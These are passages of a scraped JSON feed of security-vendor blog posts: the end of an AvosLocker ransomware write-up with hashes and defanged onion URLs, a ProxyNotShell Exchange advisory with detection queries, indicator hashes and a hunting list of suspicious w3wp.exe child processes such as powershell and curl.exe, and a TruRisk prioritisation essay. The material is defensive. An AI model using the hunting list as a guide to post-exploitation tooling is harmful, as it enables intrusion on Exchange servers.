Indicators of Compromise (IOCs):\n \n \n Windows: C0A42741EEF72991D9D0EE8B6C0531FC19151457A8B59BDCF7B6373D1FE56E02\n \n \n Linux: 7C935DCD672C4854495F41008120288E8E1C144089F1F06A23BD0A0F52A544B1\n \n \n URL:\n hxxp://avosjon4pfh3y7ew3jdwz6ofw7lljcxlbk7hcxxmnxlh5kvf2akcqjad[.]onion.\n hxxp://avosqxh72b5ia23dl5fgwcpndkctuzqvh2iefk5imp3pi5gfhel5klad[.]onion\n\n### TTP Map:\n\nInitial Access| Execution| Defense Evasion| Discovery| Impact \n---|---|---|---|--- \nPhishing (T1566)| User Execution \n(T1204)| Obfuscated Files or Information (T1027)| System Information Discovery (T1082)| Data Encrypted for Impact \n(T1486) \n| | | File and Directory Discovery (T1083)| Inhibit System Recovery \n(T1490)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-07T05:18:46", "type": "qualysblog", "title": "AvosLocker Ransomware Behavior Examined on Windows & Linux", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31206", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-07T05:18:46", "id": "QUALYSBLOG:DC0F3E59C4DA6EB885E6BCAB292BCA7D", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-11T12:05:09", "description": "On September 29, 2022, active attacks against Microsoft Exchange were reported by Vietnamese cybersecurity company GTSC. The researcher at GTSC reported two critical vulnerabilities (now named \u201cProxyNotShell\u201d) in Microsoft Exchange Server via two advisories issued by [Zero Day Initiative](<https://www.zerodayinitiative.com/advisories/upcoming/>): [ZDI-CAN-18333](<https://www.zerodayinitiative.com/advisories/upcoming/#:~:text=by%3A%20Marcin%20Wiazowski-,ZDI%2DCAN%2D18333,-Microsoft>) and [ZDI-CAN-18802](<https://www.zerodayinitiative.com/advisories/upcoming/#:~:text=Zero%20Day%20Initiative-,ZDI%2DCAN%2D18802,-Microsoft>).\n\nThe first flaw (CVE-2022-41040) is a Server-Side Request Forgery (SSRF) vulnerability. The second flaw (CVE-2022-41082) allows remote code execution (RCE) when PowerShell is accessible to the attacker. Microsoft mentions that authenticated access to the vulnerable Exchange Server is necessary to successfully exploit either of the two vulnerabilities. \n\nOn September 30, 2022, Microsoft released an [advisory](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) acknowledging that they are _\u201caware of limited targeted attacks using the two vulnerabilities to get into users\u2019 systems.\u201d_\n\nThreat actors are chaining these two zero-day vulnerabilities to deploy Chinese Chopper web shells on vulnerable Microsoft Exchange Servers for persistence and data theft. Based on the code on these web shells, GTSC suspects that these threat actors are based in China. As a result, CISA has added these vulnerabilities to its list of [Known Exploited Vulnerabilities Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\nThese vulnerabilities affect the following versions of Exchange Server:\n\n * Exchange Server 2013\n * Exchange Server 2016\n * Exchange Server 2019\n\n## Qualys Vulnerability Coverage (QID)\n\nQualys customers can use the following QID to identify potentially vulnerable assets in their environments.\n\n**QID**| **Title**| Release Versions \n---|---|--- \n50122| Microsoft Exchange Server Multiple Vulnerabilities (Zero Day)| VULNSIGS-2.5.596-5 or later and QAGENT-SIGNATURE-SET-2.5.596.5-4 or later \n \n## Detect ProxyNotShell Using Qualys VMDR\n\nHere are the steps that your organization can take to rapidly respond to the zero-day threat of ProxyNotShell using Qualys VMDR.\n\n### Identify Microsoft Exchange Server Assets****\n\nThe first step in managing these critical vulnerabilities and reducing risk is identification of your potentially vulnerable assets. [Qualys VMDR](<https://www.qualys.com/apps/vulnerability-management-detection-response/>) makes it easy to identify Windows Exchange Server systems.\n\nUse the following Qualys Query Language (QQL) string:\n\n_operatingSystem.category:Server and operatingSystem.category1:`Windows` and software:(name:Microsoft Exchange Server)_\n\nQualys CSAM displays inventory of all Microsoft Exchange Server assets\n\nOnce the hosts are identified, they can be grouped together with a \u2018dynamic tag\u2019, for example: \u201cProxyNotShell Exchange Server 0-day\u201d. This helps in automatically grouping existing hosts with the zero-days as well as any new Windows Exchange Server that is provisioned in your environment. Tagging makes these grouped assets available for querying, reporting, and management throughout the [Qualys Cloud Platform](<https://www.qualys.com/cloud-platform/>).\n\nUsing the VMDR Dashboard, you can track \u2018Exchange 0-day\u2019, impacted hosts, their status, and overall management in real time. With trending enabled for dashboard widgets, you can keep track of the vulnerability trends in your environment using the Exchange Server 0-Day Dashboard.\n\n**Read the Article (Qualys Customer Portal)**: [ProxyNotShell Exchange Server 0-Day Dashboard | Critical Global View](<https://success.qualys.com/support/s/article/000006994>)\n\n Exchange Server 0-Day Dashboard in Qualys VMDR\n\n### Discover ProxyNotShell Exchange Server Zero-Day Vulnerabilities****\n\nNow that hosts running Microsoft Exchange Server are identified, you will want to detect which of these assets have flagged this vulnerability. VMDR automatically detects new vulnerabilities like these based on the always up-to-date Qualys KnowledgeBase (KB).\n\nYou can see all your impacted hosts for this vulnerability tagged with the \u2018Exchange Server 0-day\u2019 asset tag in the vulnerabilities view by using this QQL query:\n\n_VMDR query: vulnerabilities.vulnerability.qid: 50122_\n\nQualys VMDR isolates all Exchange Server assets with the vulnerability QID 50122\n\nQID 50122 is available in signature version VULNSIGS-2.5.596-5 and above. It can be detected using authenticated scanning or the [Qualys Cloud Agent](<https://www.qualys.com/cloud-agent/>) manifest version 2.5.596.5-4 and above.\n\n## Microsoft Guidance for Risk Mitigation of ProxyNotShell****\n\nMicrosoft has released [Customer Guidance for Reported Zero-day Vulnerabilities in Microsoft Exchange Server [msrc-blog.microsoft.com]](<https://urldefense.com/v3/__https:/msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/__;!!Pw1rFClp!uMi4DoMkOqqFrUWPAWLwADPST1cL7Me88BZ3s_42Deankj3Bhue8qpgtSpj5hBv8jRjKOAsQe0cLPztgFzi-Eeyr$>). According to the blog post, \u201cMicrosoft is aware of limited targeted attacks using the two vulnerabilities to get into users\u2019 systems.\u201d The two vulnerabilities are CVE-2022-41040 and CVE-2022-41082, affecting on-premises Microsoft Exchange Server 2013, 2016, and 2019.\n\nNote: Microsoft Exchange Online is not affected. \n\nAn attacker could exploit these vulnerabilities to take control of an affected system.\n\n### Remediation/Mitigation of ProxyNotShell\n\n[Qualys Patch Management](<https://www.qualys.com/apps/patch-management/>) and [Qualys Custom Assessment and Remediation](<https://www.qualys.com/apps/custom-assessment-remediation/>) (CAR) customers can leverage the scripting capabilities of both products to deploy mitigation actions to their Exchange Servers.\n\nBy leveraging Qualys CAR\u2019s scripting capabilities or Patch Management's pre-actions capabilities, customers can deploy a PowerShell script to apply the mitigations recommended by Microsoft.\n\nRefer to the Qualys scripting library on GitHub for [the mitigation script](<https://github.com/Qualys/Custom-Assessment-and-Remediation-Script-Library/tree/main/Zero%20Day/CVE-2022-41040%2C41082\\(ProxyNotShell%20Microsoft%20Exchange%20Server\\)>) and execute it via Qualys CAR on required assets.\n\nAs per the mitigation introduced by MS, Qualys Policy Compliance customers can evaluate mitigation on MS Exchange targets with control:\n\n**24782 Status of the 'URL Rewrite Instructions' configured for the site and applications**\n\n\n\n**24802 Status of the 'Remote PowerShell access' setting enabled for users**\n\n\n\n## Detect Malicious Behavior related to ProxyNotShell using Qualys Multi-Vector EDR\n\nBased on the post-exploitation activity from multiple threat actors, [Qualys Multi-Vector EDR](<https://www.qualys.com/apps/endpoint-detection-response/>) customers can hunt for the following malicious activities: \n\n 1. Detecting usual children of w3wp.exe such as: \n * csc.exe \n * transcodingservice.exe \n * werfault.exe \n * powershell \n * powershell_ise \n * python \n * curl.exe \n 2. Detecting webshell-like files with the following extensions being written on an Exchange Server: \n * .ashx \n * .aspx \n * .asmx \n * .asax \n\n## Detect Exploitation Attempts related to ProxyNotShell using Qualys Context XDR \n\nInterested [Qualys Context XDR](<https://www.qualys.com/apps/extended-detection-response/>) customers can contact their Technical Account Managers for the following rules: \n\n 1. T1190 - [Akamai WAF] ProxyNotShell RCE Vulnerability Exploitation Detected (CVE-2022-41040/CVE-2022-41082) \n 2. T1190 - ProxyNotShell RCE Vulnerability Exploitation Detected (CVE-2022-41040/CVE-2022-41082) \n 3. T1190 - [Trend Micro TippingPoint IPS] ProxyNotShell RCE Vulnerability Exploitation Detected \n 4. T1190 - ProxyNotShell RCE Vulnerability Exploitation Detected via Firewall (CVE-2022-41040/CVE-2022-41082) \n\nWith Qualys Context XDR, customers have the power to write their own detections as well. An example of a generic rule that detects ProxyNotShell attempts is shown below: \n\n\n\n## Indicators of Compromise (IOCs) for ProxyNotShell\n\n**Filenames**| **SHA256 Hash**| **Path** \n---|---|--- \nPxh4HG1v.ashx| c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1| %ProgramFiles%\\Microsoft\\ExchangeServer\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ \nRedirSuiteServiceProxy.aspx| 65a002fe655dc1751add167cf00adf284c080ab2e97cd386881518d3a31d27f5| %ProgramFiles%\\Microsoft\\ExchangeServer\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ \nRedirSuiteServiceProxy.aspx| b5038f1912e7253c7747d2f0fa5310ee8319288f818392298fd92009926268ca| %ProgramFiles%\\Microsoft\\ExchangeServer\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ \nxml.ashx| c838e77afe750d713e67ffeb4ec1b82ee9066cbe21f11181fd34429f70831ec1| \nerrorEE.aspx| be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257| %ProgramFiles%\\Microsoft\\ExchangeServer\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ \nDll.dll| 074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82| \nDll.dll| 45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9| \nDll.dll| 9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0| \nDll.dll| 29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3| \nDll.dll| C8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2| \n180000000.dll| 76a2f2644cb372f540e179ca2baa110b71de3370bb560aca65dcddbd7da3701e| \n \n## Contributors\n\n * [Bharat Jogi](<https://blog.qualys.com/author/bharat_jogi>), Director, Vulnerability and Threat Research, Qualys\n * [Mehul Revankar](<https://blog.qualys.com/author/mRevankar>), VP, Product Management & Engineering for VMDR, Qualys\n * [Mayuresh Dani](<https://blog.qualys.com/author/mayuresh>), Manager, Threat Research, Qualys\n * [Lavish Jhamb](<https://blog.qualys.com/author/ljhamb>), Solution Architect, Compliance Solutions, Qualys\n * [Eran Livne](<https://blog.qualys.com/author/elivne>), Senior Director, Endpoint Remediation, Qualys\n * Mukesh Choudhary, Compliance Research Analyst, Qualys\n * Mohd Anas Khan, Compliance Research Analyst, Qualys\n * Arun Pratap Singh, Engineer, Threat Research, Qualys\n * David Lu, Senior Engineer, Threat Research, Qualys\n * Felix Jimenez Saez, Director, Product Management. Qualys", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-30T23:25:55", "type": "qualysblog", "title": "Qualys Response to ProxyNotShell Microsoft Exchange Server Zero-Day Threat Using Qualys Cloud Platform", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-09-30T23:25:55", "id": "QUALYSBLOG:89B0E9C4C12FFA944639C5B7B34594DB", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-10-11T22:50:52", "description": "Vulnerability Management is a foundational component of any cybersecurity program for the implementation of appropriate security controls and the management of cyber risk. Earlier this year Qualys introduced the latest iteration of its vulnerability management product [VMDR 2.0 with TruRisk](<https://blog.qualys.com/product-tech/2022/06/06/introducing-qualys-vmdr-2-0>) which focusses on helping organizations understand and manage cyber risk. Qualys TruRisk assesses risk by taking into account multiple factors such as evidence of vulnerability exploitation, asset criticality, its location, and evidence of compensating controls on the asset among many other factors to assess the accurate risk posture for an organization.\n\nIn this blog we do a deep-dive into the vulnerability prioritization algorithm for TruRisk, compare it to existing vulnerability scoring systems, such as Common Vulnerability Scoring System (CVSS) and Exploit Prediction Scoring System (EPSS), to demonstrate why TruRisk is a better method for prioritizing risk than existing methods. This blog is the first of many blogs focused on different aspects of TruRisk, with other aspects covered in later blogs.\n\n### **Key Takeaways**\n\n * Since 2016, every subsequent year has reported more vulnerabilities than the year before (on average 8%-10% more)\n * CVSS based prioritization results in 51% of vulnerabilities marked as high or critical which leads to ineffective, low-value prioritization\n * Less than 3% of vulnerabilities have weaponized exploits or evidence of exploitation in the wild, two attributes posing the highest risk.\n * Exploit Prediction Scoring System (EPSS) is a step in the right direction to predict vulnerability exploitation. However, it still ranks some vulnerabilities that are actively exploited with a lower probability of exploitation\n * Qualys TruRisk helps organizations prioritize risk by focusing on exploitability, evidence of exploitability, and likelihood of exploitability resulting in up to 85% fewer vulnerabilities to prioritize compared to CVSS.\n\nQualys TruRisk brings asset context, threat context and vulnerability intelligence data under one platform empowering IT and security teams to make better, informed prioritization decisions.\n\nBut first let\u2019s talk about few key challenges.\n\n### Vulnerabilities Are on the Rise\n\nEvery year since 2016, (see Fig. 1) the number of the vulnerabilities reported by NIST has been greater than the year before. According to the [National Vulnerability Database](<https://nvd.nist.gov/vuln/search/statistics?form_type=Basic&results_type=statistics&search_type=all&isCpeNameSearch=false>) (NVD) the number of vulnerabilities reported in 2022 (18,841) has already surpassed the vulnerabilities reported in 2020. And we still have three months to go.\n\nFigure 1: Number of Vulnerabilities by Year (Source: NVD)\n\n### **Vulnerability Threat Landscape**\n\nAs the number of vulnerabilities increase, so does the risk to enterprises. But not all vulnerabilities are created equally. Some vulnerabilities pose greater risk to organizations than others. For example, less than 3% of the vulnerabilities have exploit code weaponized. It is crucial to prioritize vulns like these, that are some of the most critical vulnerabilities first. \n\nFigure 2: Vulnerability Threat Landscape\n\nTraditionally, organizations have relied on CVSS scores for prioritization. However, as we will see in the next section, there are limitations in using CVSS as the only vulnerability prioritization method.\n\n### Challenges With CVSS Based Prioritization \n\nThe **Common Vulnerability Scoring System (CVSS) was introduced in the early 2000s to address the need for **a common method to rate the severity of vulnerabilities. Previously, two researchers could rate the same exact vulnerability in different ways based on their subjective understanding of the vulnerability. This created confusion for security practitioners because they could not accurately determine the actual severity of vulnerabilities. The CVSS system was developed to address this issue by enabling the uniform _technical_ severity assessment of vulnerabilities.\n\nA key factor to keep in mind is CVSS only calculates the technical severity of the vulnerability, not the risk it poses to an organization. Over time, CVSS has been used as a proxy for determining the risk a vulnerability posed to the organization, leading to unintended consequences. This includes patching cycles spent fixing countless vulnerabilities with a CVSS score of 7.5 or higher, while some medium severity vulnerabilities were deprioritized even if they posed a greater risk.\n\nCVSS scores are categorized into four categories low, medium, high, critical. \n\nCVSS Score| CVSS Severity \n---|--- \n0.1 \u2013 3.9| Low \n4.0 \u2013 6.9| Medium \n7.0 \u2013 8.9| High \n9.0 \u2013 10.0| Critical \n \nFigure 3: CVSS Score distribution grouped by CVSS severity\n\nAs shown in Fig.3, **51% (96,340) of the total vulnerabilities are categorized as Critical or High according to CVSS scores**. However, empirical research shows that not all the vulnerabilities in these CVSS score buckets need equal/high attention. The main issue is that CVSS base scores don\u2019t consider threat information like active exploitation in the wild, likelihood of the exploitation in the wild, activity associated with it in dark web or social media, known exploit categorized by CISA, threat actors associated, etc.\n\nAs shown in Fig. 4, as expected known exploited vulnerabilities (as categorized by [CISA Known Exploited Vulnerabilities (KEV) Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)) are concentrated at higher CVSS scores (the red dots indicate CISA KEV vulnerabilities).\n\nHowever, there are a significant number of exploits discovered even for lower CVSS scores. For example, **there are 92 out of 832 (11%) CISA_KEV vulnerabilities that have a CVSS score of less than 7.** This could be an issue when relying only on CVSS scores.\n\nFigure 4: CISA known vulnerabilities distributed across CVSS score.\n\n### **Exploit Prediction Scoring System**\n\nTo address challenges related to lack of threat context in the CVSS scoring system, first.org in recent years introduced [Exploit Prediction Scoring System (EPSS)](<https://www.first.org/epss/>), an open, data-driven effort for estimating the likelihood (probability) that a software vulnerability will be exploited in the wild. This is a step in the right direction. EPSS\u2019s goal is to help network defenders better prioritize vulnerability remediation efforts. The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.\n\nAs evidenced by Figure 5. EPSS helps highlight vulnerabilities with high likelihood of exploitation and correlates well with CISA KEV vulnerabilities.\n\nFigure 5: EPSS Score and CISA Known Vulnerabilities distribution across CVSS score\n\nFigure 6: EPSS Score distribution\n\nThe availability of patches also plays a key role in EPSS scores. If patches are available, the probability of exploitation is ranked lower. Many of the CISA Known Vulnerabilities are scored lower in EPSS if they have patches/fixes available. However when prioritizing what to patch first, we need to consider the whole set, not just the ones with patches. For example, consider the following recent vulnerabilities which have low EPSS scores. If we rely only on EPSS to prioritize them, they will not show up in a priority list of vulnerabilities to be remediated. Several examples of vulnerabilities with low EPSS scores and high TruRisk scores are shown in Figure 5.\n\nCVE| Title| EPSS| TruRisk (QVS) \n---|---|---|--- \nCVE-2021-36942| PetitPotam| 0.26| 95 \nCVE-2021-31207| Proxyshell| 0.02| 95 \nCVE-2021-34523| Proxyshell| 0.16| 100 \nCVE-2022-30190| Follina| 0.69| 100 \nCVE-2016-3351| Microsoft Edge Cumulative Security Update (MS16-105)| 0.24| 95 \n**Critical CVEs with patches available scoring low on EPSS**\n\n### **Qualys Severity Levels**\n\nGiven the challenges with CVSS scores, the Qualys research team introduced [Qualys severity levels](<https://qualysguard.qg2.apps.qualys.com/qwebhelp/fo_portal/knowledgebase/severity_levels.htm>) to assess the severity of Qualys IDs (QIDs). In addition to determining the risk associated with exploitation, Qualys severity levels also focus on potential consequences of vulnerability exploitation from an attacker\u2019s point of view. Each QID severity level is reviewed by the Qualys Research Team, including taking vulnerability chaining, server-side vs client-side vulnerabilities, and information from various threat-intel sources to accurately assess them into consideration.\n\nQualys severity levels are an improvement over CVSS as they helped customers quickly prioritize critical vulnerabilities as can be seen in Fig. 7. \n\nFigure 7: Qualys Severity Level Distribution (Source: Qualys)\n\n### Qualys TruRisk, a Data-Driven Way To Prioritize Risks\n\nAll of the scoring mechanisms presented so far are attempting to answer one key question\n\n_What should defenders focus on first?_\n\nEach model attempts to answer the question in its own way but falls short of its goal. Organizations need a better way to respond quickly and prioritize vulnerabilities based on risk.\n\nTo address these challenges Qualys introduced [Qualys VMDR 2.0 with TruRisk](<https://blog.qualys.com/product-tech/2022/06/06/introducing-qualys-vmdr-2-0>) earlier this year to help organizations prioritize vulnerabilities, assets, and groups of assets based on risk. \n\nQualys VMDR with TruRisk is powered by one of the most comprehensive exploit and threat intelligence databases. It spans over 185k CVEs, and 25+ unique threat and exploit intelligence sources such as Metasploit, Canvas, CISA KEV, and even Github, which is increasingly becoming the go-to place to publish exploits.\n\nWith TruRisk, organizations can pinpoint which CVEs are exploited in the wild (even those that don't have a QID) and which malware, ransomware, or threat actor groups are exploiting them. These insights can then be used to prioritize vulnerabilities based on risk.\n\nLet\u2019s take a closer look into how the TruRisk algorithm works, and how it compares to CVSS and EPSS.\n\nTo determine risk, Qualys TruRisk vulnerability scores rely on multiple factors to build the most accurate risk profile for a vulnerability.\n\n**Qualys Vulnerability Score (QVS)** is a Qualys-assigned score for a vulnerability based on multiple factors associated with the CVE such as CVSS and external threat indicators like active exploitation, likelihood of vulnerability being exploited in wild, sighting in the darkweb and social web, exploit code maturity, CISA known exploitable and many more. \n \n**Qualys Detection Score (QDS)** is assigned to QIDs by Qualys. QDS has a range from 1 to 100. If multiple CVEs contribute to a QID, the CVE with the highest score is considered for the QDS calculation. \n \n**Asset Risk Score (ARS)** is the overall risk score assigned to the asset based on the following contributing factors such as Asset Criticality Score (ACS), QDS scores for each QID level, Auto-assigned weighting factor (w) for each criticality level of QIDs, number of vulnerabilities on an asset.\n\nHere is the list of inputs that go into the algorithm.\n\n### **CVSS Base Score**\n\nThe CVSS base score serves as one of the key inputs to assess the risk of the vulnerability. CVEs with higher CVSS base scores are rated higher than those with lower scores. But a high CVSS score alone doesn\u2019t result in a high TruRisk risk score. Evidence of exploitation or weaponized exploit code maturity is required for the CVE to fall in the critical range.\n\n### **CISA Known Exploited Vulnerability (KEV)**\n\nVulnerabilities that are catalogued by CISA as known exploited vulnerabilities that are actively being exploited in the wild are included in the algorithm\n\n### **Real-Time Threat Indicators (RTIs)**\n\nThe TruRisk algorithm considers the type of vulnerability. For example, is it a Denial-of-Service (DoS) vulnerability or a remotely exploitable vulnerability? In the case of remote vulnerability or a web application vulnerability, the risk is rated higher. Other RTI\u2019s such as zero-day, active attacks, high data loss, high lateral movement, etc. that are collected from various threat feeds are also considered by the algorithm.\n\n### **Exploit Code Maturity **\n\nThe TruRisk algorithm analyzes the exploit code maturity for the given vulnerability. The exploit code maturity could be a Proof-of-Concept (PoC) which suggests a theoretical exploit exists. The exploit may already work against systems, or it could be weaponized, in which case the exploit code is considered very mature and can be easily used to compromise a system. The QDS algorithm rates weaponized exploits higher than PoC exploits. \n\n### **Malware **\n\nThe TruRisk algorithm checks to see if the vulnerability is being actively exploited by malware. If it is, then the risk is rated higher.\n\n### **Threat Actors / Ransomware Groups**\n\nThe TruRisk algorithm validates if any threat actors or ransomware groups are actively exploiting the vulnerability. If that is the case, the risk is rated even higher than if it only being exploited by malware. \n\n### **Trending Risk**\n\nThe TruRisk algorithm checks if the vulnerability has been actively exploited in the last 14 days by monitoring the Dark Web, social media, GitHub accounts, and many other similar sources. The risk is further increased if the vulnerability is determined to be trending and exploited in the wild. \n\n### **Applied Mitigation Controls**\n\nThe algorithm correlates the risk from the vulnerability with intelligence related to the asset to assess whether the vulnerability represents a threat to it. For example, the vulnerability may exist on the asset, but the system may have mitigation controls already applied which greatly reduce the risk of exploitation of the vulnerability in the customer\u2019s specific environment. \n\n### **EPSS Score (from First.org)**\n\nQualys TruRisk also leverages [EPSS](<https://www.first.org/epss/model>) scores which predict the probability of a vulnerability being exploited in the next 30 days. Vulnerabilities with a higher EPSS score are ranked higher.\n\nFigure 8: Contributing factors to Qualys TruRisk Scores\n\n### How Does Qualys TruRisk Compare Against CVSS and EPSS?\n\nAs customers adopt Qualys TruRisk to address their prioritization needs they want to know how CVSS and EPSS and TruRisk compare.\n\nQualys TruRisk is hyper focused on three attributes: exploit availability, evidence of exploitation in the wild, and likelihood of exploitation. This helps organizations focus on the highest risk vulnerabilities.\n\nQualys TruRisk rates less than 1% of vulnerabilities as critical, and less than 7% of vulnerabilities as high. This drastically reduces the number of vulnerabilities (up to 85% fewer compared to CVSS which ranks 51% of vulnerabilities high or critical) that organizations need to focus on to reduce risk. See Fig. 9.\n\nClearly organizations need to remediate other vulnerabilities as well. However, when deciding where to begin, we recommend starting with vulnerabilities that have a TruRisk-QDS risk score of 70 or higher. \n\n### **Qualys Vulnerability Score (QVS) vs CVSS**\n\nFigure 9: Distribution of TruRisk (QVS) Scores vs CVSS\n\n### **Qualys TruRisk vs EPSS**\n\nThe following figure (Fig. 10) shows the distribution of EPSS scores with Qualys Vulnerability Scores (QVS) and CISA known vulnerabilities. QVS scores consistently place vulnerabilities with evidence of exploitation, such as CISA known vulnerabilities, in a higher score range even if the EPSS score is low as annotated in the figure below.\n\nFigure 10: EPSS Score vs TruRisk (QVS) Score\n\n### **Qualys TruRisk (QVS) vs CISA KEV**\n\nEvidence of vulnerability exploitation from sources such as a CISA KEV and other threat intelligence sources tracked by the Qualys research team play a key role in determining the risk of a vulnerability.\n\nAs seen below, vulnerabilities that appear in CISA Known Exploited Vulnerabilities are consistently scored higher (QVS scores of 90 or higher) by the Qualys TruRisk algorithm. (fig. 11).\n\nFigure 11: CISA Known Vulnerabilities distributed across QVS score.\n\nLet's take the example of CVE-2021-36942 (the Windows LSA Spoofing Vulnerability). It is rated at 5.3 by the National Vulnerability Database (NVD), but it\u2019s actively exploited today by malware groups and threat actors. The exploit code maturity is weaponized, making it easy for attackers to exploit the vulnerability to compromise and infect systems). Qualys TruRisk ranks CVE-2021-36942 vulnerability as critical given its exploit availability and evidence of exploitation in the wild.\n\n\n\n### **How to Interpret Qualys TruRisk Scores**\n\nQualys TruRisk builds the vulnerability risk profile of vulnerabilities, assets, and asset groups by using the following three risk scores:\n\n**Qualys Vulnerability Score (QVS)** \u2013 QVS is assessed at each CVE level based on the external threat and exploit intelligence factors listed above. It is also computed for vulnerabilities that don\u2019t have Qualys vulnerability detection signatures (QIDs). These QVS scores can be individually queried for insights from our [dedicated API endpoint](<https://blog.qualys.com/product-tech/2022/08/08/a-deep-dive-into-vmdr-2-0-with-qualys-trurisk>).\n\n**Qualys Detection Score (QDS)** \u2013 QDS is assessed at each QID level. This is the score customers need to focus on for their vulnerability prioritization needs. **QDS builds on the QVS score by adding two key aspects**. Some QIDs can be mapped to multiple CVEs. QDS selects the highest QVS of all associated CVEs to that QID. Next, QDS accounts for any compensating/mitigation controls that are applied to an asset to reduce the risk score for a given vulnerability. For example, QDS will reduce the risk of a Remote Desktop Protocol (RDP) vulnerability if RDP is disabled.\n\nQDS/QVS Range| Description \n---|--- \n>=95| CVSS critical, exploited in the wild, has weaponized exploit available, trending risk on social media, dark web. \n90-95| CVSS critical, weaponized exploit available, and evidence of exploitation by malware, threat actors/ransomware groups \n80-89| CVSS Critical, weaponized exploit available, but no evidence of exploitation. \nCVSS Critical with evidence of exploitation, but mitigation in place. \n70-79| CVSS High, weaponized exploit available, but no evidence of exploitation \n60-69| CVSS critical, no exploits available \n50-60| CVSS High, a Proof of Concept (PoC) exploit is available \n40-50| CVSS High, no exploit available \n30-39| CVSS Medium, a PoC exploit is available \n1-30| CVSS Low vulnerabilities, low risk of exploitation \n \n### **Asset Risk Score (ARS) **\n\nQualys TruRisk\u2019s next type of risk score allows organizations to identify the riskiest assets in their organization. To assess the risk an asset poses to an organization, the** Asset Risk Score** considers multiple factors.\n\nThe primary factor considered by ARS is Asset Criticality, ie, what risk the asset poses based on its business value. For example: Is the asset part of a production system, a system hosting a production database, or is it purely an internal system used for development and test purposes. Production assets should be rated higher than test systems.\n\nQualys TruRisk determines the business criticality of the asset using multiple approaches, including: \n\n * **Manual** **Ratings **\u2013 TruRisk allows users to set the criticality of the system by using asset tags \n * **Synchronization with CMDB** \u2013 Most enterprises store business criticality information for assets in a configuration management database. Qualys automatically maps to CMDB data to determine the criticality of the system \n * **API\u2019s \u2013 **Using [Qualys APIs for Asset Management and Tagging](<https://www.qualys.com/docs/qualys-asset-management-tagging-api-v2-user-guide.pdf>), users can assign business criticality to an asset \n\nFinally, TruRisk analyzes the vulnerabilities found on the system and determines the asset\u2019s risk based on the QDS scores of the vulnerabilities on an asset by a clearly defined formula called the Asset Risk Score formula.\n\n### **Asset Risk Score Formula**\n\nThe Asset Risk Score (ARS) is calculated using the following formula: \n \n \n ARS Score = ACS Score * [wc * Avg (QDS for Critical Vuln) * f (Critical vuln count) + \n \n wh * Avg (QDS for High Vuln) * f (High vuln count) + \n \n wh * Avg (QDS for Medium Vuln) * f (Medium vuln count) + \n \n wh * Avg (QDS for Low Vuln) * f (Low vuln count)] * I(External) \n\nIn the above formula, **_ACS _**is Asset Criticality Score, **_w__**are the weights fine-tuned by TruRisk algorithm to multiply each of the severity, function **_f_**_ ()_, is a non-linear function that increases exponentially as number of vulnerabilities increases. Also, the factor **_I(External)_** is for the case where an asset is external facing or discoverable by Shodan. This factor increases the score appropriately for external facing assets.\n\nARS Range| Severity| Description \n---|---|--- \n850-1000| Critical| Critical asset with multiple critical or high vulnerabilities \n700-849| High| High value asset with multiple number of critical or high vulnerabilities or is exposed to the internet \n500-699| Medium| Moderate value asset with critical or high vulnerabilities \n0-499| Low| Low value asset with multiple vulnerabilities \n \n### Conclusion\n\nQualys TruRisk offers organizations a comprehensive approach to risk prioritization by considering multiple factors such as vulnerability exploitation, presence of compensating controls, asset criticality, its location (internal or external) to name a few to paint an accurate picture of organization\u2019s TruRisk (pun intended). In this blog we did a deep-dive into one aspect of TruRisk 